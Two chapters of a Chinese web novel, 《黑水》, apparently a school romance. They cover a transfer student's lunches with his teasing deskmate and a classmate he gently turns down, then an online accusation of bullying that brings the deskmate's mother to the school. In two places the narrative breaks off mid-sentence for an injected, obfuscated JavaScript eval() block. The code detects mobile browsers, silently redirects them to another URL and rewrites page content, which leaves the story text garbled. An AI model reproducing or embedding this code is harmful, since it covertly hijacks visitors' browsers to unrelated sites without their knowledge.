《黑水》 3. 干饭人八卦魂 教室里的余墨两人,并没有太大波澜。余潦把他吃了几口的饭盒放进书桌抽屉里。 墨桓渊:“同桌,这么喜欢我啊,都不舍得把饭盒给我。” 余潦转头看向他,“我不喜欢欠别人。我吃了你的饭,一会儿就去洗饭盒还给你。” 墨明白了他的意思,余潦要给他洗饭盒,这是要跟他撇清楚关系啊。他眨眨眼,终究也没有说什么。 预备铃声响起,这一场闹剧逐渐地接近尾声。 *** 午自习,众人都在低头写作业。 余潦算是勤学的,早趁着假期把知识点都学完了。此时,他正百无聊赖地翻看高三的课本。 而我们高贵优雅的墨墨公主,在桌上垫个抱枕,头埋在里面,身上还披着校服外套,安安稳稳地睡着。 余潦:“……” 余潦总觉得自己疯了,以前不管别人怎样骚扰他,他也不会有太大的感觉。但如今,墨桓渊那么微小的呼吸声,他倒是听的真真切切。他心里有些烦躁,抓了几下自己的头发,强逼自己静下心来,专心学习。 而一直埋头苦睡的墨桓渊,看似睡得挺香,其实只是合眼微眯了一小会儿,就再也睡不着了。余潦的那些小动作,在他那里放大了好几倍。 他不自觉偏头看向余潦,开始仔细观察他的侧脸。 他看得专注,没过多久,突然听到余潦冷不丁冒出一句。 “我好看吗?” 墨桓渊还没清醒,脑子还没转过来,有些愣神,下意识回答道, “啊?好看。” 刚说完他就后悔了,每次他就是嘴比脑子快,这么说不就露馅儿了吗? “……我是说,我是小偷吗?这么一直盯着我。” 余潦说这话时,不过是逞一时之快,想让墨桓渊不要那么盯着他。突然间,他福至心灵,灵光乍现,好像还真是。那天他捡到墨桓渊的学生证,本想还给他,结果一直被他放在书桌里,忘记拿出来了。 “对了,这个给你。” “这是?” “学生证,之前捡到的,忘记给你了。” “哦~谢谢啊同桌,不过学生证对我来说也没用,送你了~不用太谢谢我哦~” 墨桓渊摆摆手,又开始闷头大睡。 余潦默默看着学生证上那张桀骜不驯的帅脸,轻笑一声,又放进了书桌里。 *** 上课的时间无聊又漫长,好不容易等到下课,余潦百无聊赖地翻看手机。聊天短信突然响起提示音,原来是箫辞镜给他发了消息。 自从他们加了好友之后,箫就时不时地发消息过来,现在他们的聊天记录都充满了各种各样可可爱爱的表情包。 他突然想到一句话: 未经暗夜,心向晨曦。赤子之心,至真至美。没有经历过黑暗的人,是最美好的吧。 余潦只觉得箫辞镜很可爱,忍不住轻笑一声。 箫:“在嘛在嘛?(猫猫头)” 知道潦:“怎么了?” 箫:“没事~中午可以一起吃饭嘛?顺便聊聊天。” 余潦正在打字回消息,一条消息又弹出来。 墨:“在干嘛?” 他一扭头,就看到,墨桓渊单手撑在脑袋上,正歪头含笑看他,指尖手机还未熄屏,他甚至能看到他未发出去的消息。 中午一起吃饭吧。 “我已经有约了,下次吧。” “啊~是嘛~” 墨桓渊的嘴角下滑了两个像素点,拉成一条平直的线。尽管他的表情看起来很委屈,余潦依旧坚定地拒绝了他。 (苦施美人计无果的某人:???T^T 上午最后一节是自由活动,余潦正在低头收拾东西,一旁的墨桓渊早不见踪影,而他睡觉时披在身上的外套正孤零零地留守在桌上。 这时,一颗脑袋凑过来,正是箫辞镜。 “嗨嗨~” *** 端坐在椅子上的余潦,看着餐盒里的食物。今天墨桓渊又给他送早饭来着,他应付吃了几口,为了不浪费,剩下的这些都成了他的午饭。 现在仔细一看,标准的四宫格,竟被分裂成八种不同口感的食物,最底层铺满米饭,淋上色泽鲜艳的汤汁,一边是家常小炒,一边是充满逼格的牛排,竟达成一种奇怪的统一……看得出做饭的人花了很大的心思。 他舀起一勺米饭,慢慢咀嚼着。坐在他对面的箫辞镜,双手托腮,喋喋不休地说:“你刚来这儿,还不习惯。咱们学校呢,非常的开放,只要不杀人放火都是被允许的……” “哈哈,骗你哒~来这儿的,要么特有钱,要么学习特别好,或者就是两者兼备。比如说浮秋和墨同学,尤其是墨同学啊!我跟你说,他父亲上个礼拜刚给学校捐了三栋楼。而且,他每次考试都是第一,听说他快被保送了呢。” “还有,咱们班呢,你也领略过,老张对我们一向宽松,干什么都行。但其他老师呢,稍微有点严格,老是看不惯我们班的作风,上课方式也比较死板,但只要你成绩够好,他们也不会管你……” 余潦听着箫辞镜的话,突然间似有所觉,一抬头,发现了站在不远处的某人。 许是刚刚运动完,墨桓渊身上的运动服还没换下,宽阔的肩线与劲瘦的腰腹清晰可见,引来旁边人的频频回头。在他身边,是同样身穿运动服的沈凌舟,手上抱着一个篮球,正在与他说话。 “这几天一堆烦心事!老东西不知道从哪儿弄出来个私生子,硬逼着我叫他弟弟……草,傻逼玩意儿,老子跟他差一两岁,毛都没长齐,天天跟我作对……” 墨桓渊本来正在听洋洋的吐槽,但不知怎的,下意识朝一个方向看去。 于是,在茫茫人海中,他们相互对视着彼此。 看似不经意,却好像是上天自有安排,总会让两人相遇。 余潦看见墨桓渊笑眯眯地望着他,似乎还做了个口型,不知道在说什么。他低下头,继续扒拉着碗里的饭,细嚼慢咽,时而附和箫辞镜的话。 箫辞镜觉得有些自讨没趣,但又不甘心就这么结束这一餐,犹豫了半晌,她略有些羞赧,开口道:“余同学……” 余潦听到箫辞镜叫他,终于抬起头,看见她一脸纠结的表情。 他心里很清楚,知道她想说什么,也不想伤害他们之间的友情,但奈何自己嘴太笨,不知道该怎么处理这种事。他正思索着该说什么,就感觉自己被鬼压床了。 没等余潦反应过来,墨桓渊便松开他,从旁边的空位上坐下。 余潦看着近在咫尺的墨桓渊,有些愣神。墨桓渊的眼睫毛很长,微微翘起,只有凑近了闻,才能发现那种独属于他身上的丁香花味,淡淡的,却充斥鼻腔。 “嗨,几个小时没见,同桌想我了吗?还有咱们美丽善良的文艺委员~” 余潦缓过神来,没好气道,“快洗澡去,身上全是汗。” “你要给我洗吗?” “滚!” 看着墨桓渊和洋洋一行人走来,箫辞镜有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552452|204364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知所措,她知道,自己是再没有勇气去将话说完了。她有些沮丧地端起饭盒,打算默默离开。 突然天空一声巨响,她听到似乎有人在叫她。 “怎么了这是?一群人围在这儿,也不带我一个。” 抬头一看,是宋浮秋。 她的校服外套随意系在腰上,高扎的马尾辫利落扬起,一身飒气。 箫辞镜的眼睛亮了亮,连忙抬手叫她。 “浮秋,这里这里!” “小辞也在啊,怎么不叫我呢?” 她有些尴尬,不知从何说起。 而这时,余潦放下手中的筷子,含笑看向宋。 “班长,萧同学在给我讲咱们学校。碰巧你们都来了。” “宋哥宋哥,快来一起拼个桌。”洋洋没心没肺,也跟着插科打诨道。“给咱们小鱼讲讲咱校的英勇事迹!” 他一屁股坐在椅子上,紧挨着余潦,眉飞色舞。 “咱们班人才济济,个个都是学校的知名人物啊!那谁,化学鬼才,自己偷偷做实验把实验室炸了……还有那谁给老师气的哟……哈哈你是没看到,笑死我了哈哈哈……” “唉是谁来着,学校运动会上给人家横幅撕了,赔了三栋楼……啧啧啧,小墨墨,是谁呢?”宋浮秋挑眉,啧啧称奇地看向墨。 墨桓渊皮笑肉不笑地回怼。“宋姐,你这么说不怕我向爷爷告状吗?” “切,谁怕他,我才……才不怕呢……” “班长大人墨墨他就是嘴硬,当然,心更硬。他要是敢告状,你就不小心把这事给抖出来。'败家玩意!我拐杖呢?'” 洋洋挤眉弄眼,摆出一副气急败坏的模样,瞪起眼睛,四处寻找拐杖。 “你小子,到底是哪一边的!去去去。”墨桓渊无奈扶头,一把拉开洋洋,自己坐到余潦旁边的位置上。 “来来,吃饭吃饭。” *** 在几人的斗嘴声中,时光飞逝,大家很快吃完了午餐。 “走,去小卖铺买几瓶水,一口水都没喝,渴死了!”洋洋拉着墨率先离开。在他们的身后,宋浮秋不紧不慢地跟着。 “小箫也快跟上来啊!”她朝箫辞镜喊道。 萧应了声,打算快步跟上前去。突然间,一个声音叫住了她。 “箫同学。” 她有些惊喜地回头,看到竟是还没有离开的余潦。她心里小鹿乱撞,强装镇定问道,“有什么事吗?” “你值得更好的人。” 余潦没头没尾的一句话让箫辞镜愣住,又很快反应过来,余潦这是在委婉地拒绝她。 “啊,你……你看出来啊,我……没给你带来太大困扰吧?” 她有些局促,看见余潦摇了摇头,后才舒地松了口气。 “不过……” 她抬起头,看着余潦。 余潦看出了她的紧张,没再迟疑,道:“不过,我们还是朋友,不是吗?” “重新认识一下,箫同学?” 声音不大,却掷地有声。 “朋友?” 她看着余潦那双明亮清澈的眼眸,微微愣神。 “谢谢你。” 话音刚落,门口的声音传过来。“辞镜,快点儿,等你半天了!” 正是才走出去不远的宋浮秋。 “来啦!”箫脸上绽放出笑容。 她看向余潦,又道了声:“谢谢。” 余潦看着箫辞镜奔向宋的背影,嘴角不自觉上扬起来。 4. 舆论 “白发自千丈,缘愁似个长——” 清晨,朝阳升起,斑斑点点洒进高二五班的教室,阳光温和地投射在敞开的书页上,映出浅浅的金黄色。 洋洋打个哈欠,嘴上背着古诗,眼睛却瞅着课本角落里的老头插画,研究他有几根胡子。突然间,他藏在口袋里的手机轻微震动了一下。 他一下子不瞌睡了,悄悄抬头看看教室门口,老徐还没过来。于是,他鬼鬼祟祟地把手机从口袋里掏出来,解锁密码,定睛一看——不得了,他的眼睛瞪得滚圆,顾不了老师进不进来,猛的甩后头看向墨桓渊。 “哥们犯啥事了?别睡了!快看手机,表白墙炸了!!!” 他这一吼,惊醒了沉睡不醒的墨桓渊。 他揉揉惺忪的睡眼,翻开手机,消息立刻轰炸般来袭。 *** “知名富二代学霸墨XX私下暴力欺辱同学,有图有真相!” 表白墙,顾名思义,就是学校里同学们用来交流的网站。 而现在,墨桓渊成为了全网站讨论的焦点。 事情起初,是某匿名用户在表白墙里发布了一张图片:一个人趴在地上,身体扭曲,面目惊恐,正在抬头仰视上方。夜幕之下,他上方的人影模糊不清,只看得见黑影的身后还有一群人,与趴在地上的人无声对峙。 很明显,这是一起霸凌事件。 一开始,这张照片没有引起太多人的关注。直到有人在评论区说黑影像墨桓渊,事情逐渐发酵开来。 紧接着,一条视频被扒了出来。主人公正是那位被霸凌者,他证实黑影正是墨桓渊。 “我是陆嘉成,也是照片中的受害者。墨桓渊等人对我实施霸凌,如用烟头烫我的手、言语羞辱等,已经构成了犯罪,请校方明确作出回应,还我一个公道!” 1楼:我知道他!陆嘉成父亲是校董,竟然还有人敢校园欺凌他?! 2楼:墨桓渊……这个名字有点眼熟……诶,他不是次次霸榜第一的大学霸吗? 3楼:我想起来了!开学第一天演讲的就是他啊……啧啧啧,知人知面不知心,没想到他竟然是这种人。 4楼:霸凌者罪该万死,就该让他被学校开除! 一旁的余潦看似在专心地背书,实际上,在听到洋洋喊墨的那一刻,就彻底静不下心了。 他佯装收拾书桌,眼睛时不时瞄向墨桓渊。 看着无数负面消息如潮水般涌向他,墨桓渊嘴角微不可察地轻弯,神色淡定关闭了手机。 他冲洋洋笑道:“没事,不用管了。” “我知道,但我还是觉得陆嘉成这个名字,好像有点耳熟,在哪儿听过呢……”洋洋百思不得其解,将头又掉前去。 墨桓渊不动声色地将手机重新打开,似无意般放在余潦可视范围内,好让他看个究竟。 “怎么办呀小鱼鱼,我被网暴了(哭哭)。”他笑嘻嘻地冲余潦说,状似无辜可怜模样。 “活该。”余潦下意识呛了一句,他想起那天晚上墨桓渊吸烟时的场景,跟现在简直判若两人。 一时间,他们的气息有些沉重。余潦并不知道那天墨桓渊是否看到了他。他自诩不是好人,不会为所谓的正义而做出改变。所以,他们都非常默契地再也没有提过这件事。 直到现在,余潦有些沉不住气了,继续着手里的动作,将黑笔放回笔袋。 他欲言又止,“你……” 看着余潦一秒八百个小动作,堪比影帝的绝佳表演,墨桓渊笑得眼睛更弯了。 “有墨哥在,放一百个心吧~”?(^?^?) *** 下课铃声响起,洋洋本来在拿着书装模作样,突然间,他脑海里闪过一个画面。于是,一声河东狮吼,惊天地泣鬼神,响彻整个云端,呸,教室。 “我知道陆嘉成是谁了!” 同样的话,出现在高二五班教室的第一排。箫辞镜一把拍在桌子上,同桌宋浮秋被吓了一跳。 “是谁?” “之前有个关于他的瓜,追女生被拒后就造人家黄谣,听说女生还发文爆料,结果第二天就删帖道歉……” “哟,还是个黑吃黑。墨桓渊这小子藏挺深啊,小混混头目,哼,有好戏看了。”宋浮秋冷笑,随手拿了一本顺手的书。 *** 洋洋正说得起劲儿,冷不丁头上挨了一下。 “靠靠靠,谁敢打你大爷,小心我……” 他气势汹汹地转过头,就看见宋浮秋笑眯眯的脸,手上还拿着一本厚厚的词典,正是凶器。 “小羊,你说我再打你一下会怎样?” 看见宋浮秋一脸凶相,洋洋默默咽口唾沫,用手捂着脑袋,小声嘀咕道, “干嘛啊班长,让我感叹一下还不行嘛……” 宋浮秋作势举起词典朝他砸去,“那你倒是小声些啊,忘了上次咱们班被怎样针对了吗?” 洋洋吓地连忙缩回头, “行行行,班长大人咱消消气、消消气。下次我一定注意。但上次又明明不是咱的错,是那群人来挑衅咱。我这不是拔刀不平,路见相助嘛……” 一旁的墨桓渊眉头紧皱,忍不住提醒他。“路见不平,拔刀相助。你个丈育。” “没事没事,这不重要。啧,重要的是你啊,墨墨。你说说,啊,干什么不好,非得当混混头目,这下好了吧。还有,你皱个眉头干嘛,那会儿不还没事吗?” 宋一脸幸灾乐祸:“老弟,你可真摊上事了。被姓陆的盯上,也是你的福气,啧啧啧……” “让我们猜猜,老头子会怎么做呢?” 墨桓渊皮笑肉不笑地道:“我的事,我自己能处理,就不劳烦宋大小姐了。” 话音刚落,老张气势汹汹地从后门走进教室。 “一个个都不省心……墨桓渊,你来我办公室一趟。都围在这儿干嘛呢,还不去吃饭,赶紧的!!!” 大家轰一声作鸟兽散。几人站在原地,略有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552453|204364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟疑地看向墨桓渊。 墨桓渊眼眸微微眯起,轻轻拍了拍同桌余潦的肩膀。 “放心,你们先去忙吧。” 一行人被急急忙忙赶出教室。洋洋蹲在楼道口,唉声叹气道:“最近学校对校园霸凌这么重视,墨墨直接撞到枪头上……他不会被……” 他没有再说下去。但众人都心里明白,墨桓渊这次玩脱了,可不止被开除那么简单…… 宋浮秋手里的词典早放回到了教室,此刻两手空空,四处张望着顺手的武器。 “闭嘴,别唠叨了!谁跟我去办公室看看情况?” 洋洋立刻闭嘴,伸出一根手指,在嘴上比了个封拉链的动作,然后举起双手呈投降状。 余潦静静站在一旁,并不想掺合进来。奈何洋洋顺手牵羊,将他也拉了过来。 箫辞镜探出头来,笑嘻嘻地举起一只手。 几人中只有余潦没有表态了。三双眼睛都齐齐看向他。 余潦突然改变主意了。与其一个人呆着,还不如与他们一起看戏。 于是,在众人期盼的目光下,他缓缓地举起手来。 “好啦~全票通过!走啦走啦!” 几人走成一串,悄悄蹲在办公室门口偷听。 “你说说你,好好的怎么打人家呢?我已经跟你父母打过电话了,等他们来了再说。唉,门口那几个,偷听也不能安静点?沈凌舟!头抬低点儿,脑袋上的呆毛都露出来了!”张老师叹口气,忍不住感叹自己怎么就教出来个傻孩子。 “哈哈,张老师,巧遇巧遇。”洋洋打着哈哈,挠挠头,将身后藏着的几人一并漏出。 *** 没过多久,一阵急促的高跟鞋踩击地面的声音响起。来人身穿一袭长裙,乌黑的头发被高高束起,脸上没有太多妆容的修饰,显得利落大方,俨然一副职场女强人模样。 “张老师,好久不见。”她率先开口笑道。“小宋也在啊。” “季姨好~(^^)”宋浮秋一脸乖巧地看着季辞。季辞点点头算作回应。 “季女士,劳烦您走一趟了,坐下聊吧。” 季辞没再啰嗦,坐在身旁的椅子上。她看着挤在一起像被罚站的一行人,忍不住露出笑容。 “季姨,给您水。”宋浮秋将倒好的茶水递给季辞。季辞欣慰地接过,再看看自己那便宜儿子,就气不打一处来。拽得跟个二五八万似的,简直就是中二病晚期。 还不知道自己被亲妈心里狠狠吐槽的墨桓渊,此时正在角落里默默掰老张桌上的多肉。 “张老师,这次叫我来是……”季辞放下手中的茶杯问道。 “哦,是这样的,墨桓渊与之前的陆同学再一次发生矛盾。原本这事我们并不想掺合进来,但是我校,您也明白,是坚决反对校园霸凌的。这件事不仅被人上传至校网,上级领导也得知了此事,恐怕比较难办了……” 季辞低头沉思片刻,再次看向墨桓渊:“小墨,你这是第几次犯事了?”